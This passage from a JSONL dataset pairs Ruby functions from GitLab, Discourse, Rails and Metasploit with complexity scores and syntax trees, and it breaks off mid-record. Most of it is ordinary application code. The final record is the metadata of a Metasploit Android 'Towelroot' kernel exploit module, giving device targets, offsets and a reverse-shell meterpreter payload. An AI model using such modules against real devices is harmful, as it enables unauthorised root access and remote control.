\"children\":[\"nonreplayable_hash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jtr_format\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"Hashes\"]},\"identify_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proof\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"c778ef9a-8681-4825-8f2a-3387e0e4630f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250903069725_drop_duo_workflows_checkpoints.rb","start_line":13,"raw_source":"def down\n    create_table :duo_workflows_checkpoints, if_not_exists: true do |t|\n      t.bigint :workflow_id, null: false\n      t.bigint :project_id, null: true\n      t.timestamps_with_timezone null: false\n      t.text :thread_ts, null: false, limit: 255\n      t.text :parent_ts, null: true, limit: 255\n      t.jsonb :checkpoint, null: false\n      t.jsonb :metadata, null: false\n      t.bigint :namespace_id, null: true\n\n      t.index :namespace_id, name: :index_duo_workflows_checkpoints_on_namespace_id\n      t.index :project_id, name: :index_duo_workflows_checkpoints_on_project_id\n      t.index [:workflow_id, :thread_ts], unique: true, name: :index_duo_workflows_workflow_checkpoints_unique_thread\n    end\n\n    add_multi_column_not_null_constraint :duo_workflows_checkpoints, :project_id, :namespace_id\n  end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"duo_workflows_checkpoints\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"workflow_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps_with_timezone\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"thread_ts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[255]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"parent_ts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[255]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\"type\":\"sym\",\"children\":[\"checkpoint\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\"type\":\"sym\",\"children\":[\"metadata\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_duo_workflows_checkpoints_on_namespace_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_duo_workflows_checkpoints_on_project_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"workflow_id\"]},{\"type\":\"sym\",\"children\":[\"thread_ts\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_duo_workflows_workflow_checkpoints_unique_thread\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_multi_column_not_null_constraint\",{\"type\":\"sym\",\"children\":[\"duo_workflows_checkpoints\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]}]}]}","id":"1220bbcf-d2fc-455a-bf46-9d612031c81c"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/vanilla.rb","start_line":681,"raw_source":"def clean_up(raw, format)\n    raw.encode!(\"utf-8\", \"utf-8\", invalid: :replace, undef: :replace, replace: \"\")\n\n    raw.gsub!(%r{<(.+)>&nbsp;</\\1>}, \"\\n\\n\")\n\n    html =\n      if format == \"Html\"\n        raw\n      else\n        markdown = Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, tables: true)\n        markdown.render(raw)\n      end\n\n    doc = Nokogiri::HTML5.fragment(html)\n\n    doc\n      .css(\"blockquote\")\n      .each do |bq|\n        name = bq[\"rel\"]\n        user = User.find_by(name: name)\n        bq.replace %{<br>[QUOTE=\"#{user&.username || name}\"]\\n#{bq.inner_html}\\n[/QUOTE]<br>}\n      end\n\n    doc.css(\"font\").reverse.each { |f| f.replace f.inner_html }\n\n    doc.css(\"span\").reverse.each { |f| f.replace f.inner_html }\n\n    doc.css(\"sub\").reverse.each { |f| f.replace f.inner_html }\n\n    doc.css(\"u\").reverse.each { |f| f.replace f.inner_html }\n\n    markdown = format == \"Html\" ? ReverseMarkdown.convert(doc.to_html) : doc.to_html\n    markdown.gsub!(/\\[QUOTE=\"([^;]+);c-(\\d+)\"\\]/i) { \"[QUOTE=#{$1};#{$2}]\" }\n\n    markdown = process_raw_text(markdown)\n    markdown\n  end","complexity_score":62.6,"ast_json":"{\"type\":\"def\",\"children\":[\"clean_up\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw\"]},{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"encode!\",{\"type\":\"str\",\"children\":[\"utf-8\"]},{\"type\":\"str\",\"children\":[\"utf-8\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"invalid\"]},{\"type\":\"sym\",\"children\":[\"replace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"undef\"]},{\"type\":\"sym\",\"children\":[\"replace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"replace\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<(.+)>&nbsp;</\\\\1>\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\n\\n\"]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"==\",{\"type\":\"str\",\"children\":[\"Html\"]}]},{\"type\":\"lvar\",\"children\":[\"raw\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"markdown\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Redcarpet\"]},\"Markdown\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Redcarpet\"]},\"Render\"]},\"HTML\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"autolink\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tables\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"markdown\"]},\"render\",{\"type\":\"lvar\",\"children\":[\"raw\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"doc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"HTML5\"]},\"fragment\",{\"type\":\"lvar\",\"children\":[\"html\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"css\",{\"type\":\"str\",\"children\":[\"blockquote\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bq\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bq\"]},\"[]\",{\"type\":\"str\",\"children\":[\"rel\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bq\"]},\"replace\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<br>[QUOTE=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\"]\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bq\"]},\"inner_html\"]}]},{\"type\":\"str\",\"children\":[\"\\n[/QUOTE]<br>\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"css\",{\"type\":\"str\",\"children\":[\"font\"]}]},\"reverse\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"inner_html\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"css\",{\"type\":\"str\",\"children\":[\"span\"]}]},\"reverse\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"inner_html\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"css\",{\"type\":\"str\",\"children\":[\"sub\"]}]},\"reverse\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"inner_html\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"css\",{\"type\":\"str\",\"children\":[\"u\"]}]},\"reverse\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"inner_html\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"markdown\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"==\",{\"type\":\"str\",\"children\":[\"Html\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ReverseMarkdown\"]},\"convert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"to_html\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"to_html\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"markdown\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\[QUOTE=\\\"([^;]+);c-(\\\\d+)\\\"\\\\]\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[QUOTE=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"str\",\"children\":[\";\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"nth_ref\",\"children\":[2]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"markdown\",{\"type\":\"send\",\"children\":[null,\"process_raw_text\",{\"type\":\"lvar\",\"children\":[\"markdown\"]}]}]},{\"type\":\"lvar\",\"children\":[\"markdown\"]}]}]}","id":"cae27566-1429-48c9-bb6e-2e3809b100e5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-active-context/lib/active_context/concerns/migration_worker.rb","start_line":30,"raw_source":"def preflight_checks\n        unless ActiveContext.indexing?\n          log 'indexing disabled in config and adapter not configured. Execution is skipped.'\n          return false\n        end\n\n        true\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"preflight_checks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveContext\"]},\"indexing?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"str\",\"children\":[\"indexing disabled in config and adapter not configured. Execution is skipped.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"d644a516-9fac-4f76-87aa-647a23a2d436"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/event_reporter/log_subscriber.rb","start_line":44,"raw_source":"def emit(event)\n        name = event[:name]\n        event_method = name[name.index(\".\") + 1, name.length]\n        public_send(event_method, event) if LEVEL_CHECKS[log_levels[event_method]]&.call(logger)\n      end","complexity_score":16.95,"ast_json":"{\"type\":\"def\",\"children\":[\"emit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"event_method\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"index\",{\"type\":\"str\",\"children\":[\".\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"length\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LEVEL_CHECKS\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_levels\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"event_method\"]}]}]},\"call\",{\"type\":\"send\",\"children\":[null,\"logger\"]}]},{\"type\":\"send\",\"children\":[null,\"public_send\",{\"type\":\"lvar\",\"children\":[\"event_method\"]},{\"type\":\"lvar\",\"children\":[\"event\"]}]},null]}]}]}","id":"4f439b18-6059-47d9-b5c9-711ab1a7d6fd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/android/local/futex_requeue.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        {\n          'Name' => \"Android 'Towelroot' Futex Requeue Kernel Exploit\",\n          'Description' => %q{\n            This module exploits a bug in futex_requeue in the Linux kernel, using\n            similar techniques employed by the towelroot exploit. Any Android device\n            with a kernel built before June 2014 is likely to be vulnerable.\n          },\n          'License' => MSF_LICENSE,\n          'Author' => [\n            'Pinkie Pie', # discovery\n            'geohot',     # towelroot\n            'timwr'       # metasploit module\n          ],\n          'References' => [\n            [ 'CVE', '2014-3153' ],\n            [ 'URL', 'http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/' ],\n            [ 'URL', 'http://web.archive.org/web/20160912014145/http://blog.nativeflow.com:80/the-futex-vulnerability' ],\n          ],\n          'DisclosureDate' => '2014-05-03',\n          'SessionTypes' => [ 'meterpreter' ],\n          'Platform' => [ 'android', 'linux' ],\n          'Payload' => { 'Space' => 2048 },\n          'DefaultOptions' => {\n            'WfsDelay' => 300,\n            'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'\n          },\n          'Notes' => {\n            'Stability' => [CRASH_SAFE],\n            'SideEffects' => [],\n            'Reliability' => [],\n            'AKA' => ['towelroot']\n          },\n          'DefaultTarget' => 0,\n          'Targets' => [\n            # Automatic targetting via getprop ro.build.model\n            ['Automatic Targeting', { 'auto' => true }],\n\n            # This is the default setting, Nexus 4, 5, 7, etc\n            [\n              'Default',\n              {\n                'new_samsung' => false,\n                'iovstack' => 2,\n                'offset' => 0,\n                'force_remove' => false\n              }\n            ],\n\n            # Samsung devices, S3, S4, S5, etc\n            [\n              'New Samsung',\n              {\n                'new_samsung' => true,\n                'iovstack' => 2,\n                'offset' => 7380,\n                'force_remove' => true\n              }\n            ],\n\n            # Older Samsung devices, e.g the Note 2\n            [\n              'Old Samsung',\n              {\n                'new_samsung' => false,\n                'iovstack' => 1,\n                'offset' => 0,\n                'force_remove' => true\n              }\n            ],\n\n            # Samsung Galaxy Grand, etc\n            [\n              'Samsung Grand',\n              {\n                'new_samsung' => false,\n                'iovstack' => 5,\n                'offset' => 0,\n                'force_remove' => true\n              }\n            ],\n          ],\n          'Compat' => {\n            'Meterpreter' => {\n              'Commands' => %w[\n                core_loadlib\n                stdapi_fs_delete_file\n                stdapi_fs_getwd\n              ]\n            }\n          }\n        }\n      )\n    )\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Android 'Towelroot' Futex Requeue Kernel Exploit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            This module exploits a bug in futex_requeue in the Linux kernel, using\\n\"]},{\"type\":\"str\",\"children\":[\"            similar techniques employed by the towelroot exploit. Any Android device\\n\"]},{\"type\":\"str\",\"children\":[\"            with a kernel built before June 2014 is likely to be vulnerable.\\n\"]},{\"type\":\"str\",\"children\":[\"          \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Pinkie Pie\"]},{\"type\":\"str\",\"children\":[\"geohot\"]},{\"type\":\"str\",\"children\":[\"timwr\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-3153\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://web.archive.org/web/20160912014145/http://blog.nativeflow.com:80/the-futex-vulnerability\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2014-05-03\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"android\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[2048]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"int\",\"children\":[300]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"linux/armle/meterpreter/reverse_tcp\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AKA\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"towelroot\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic Targeting\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"auto\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Default\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"new_samsung\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"iovstack\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"offset\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"force_remove\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"New 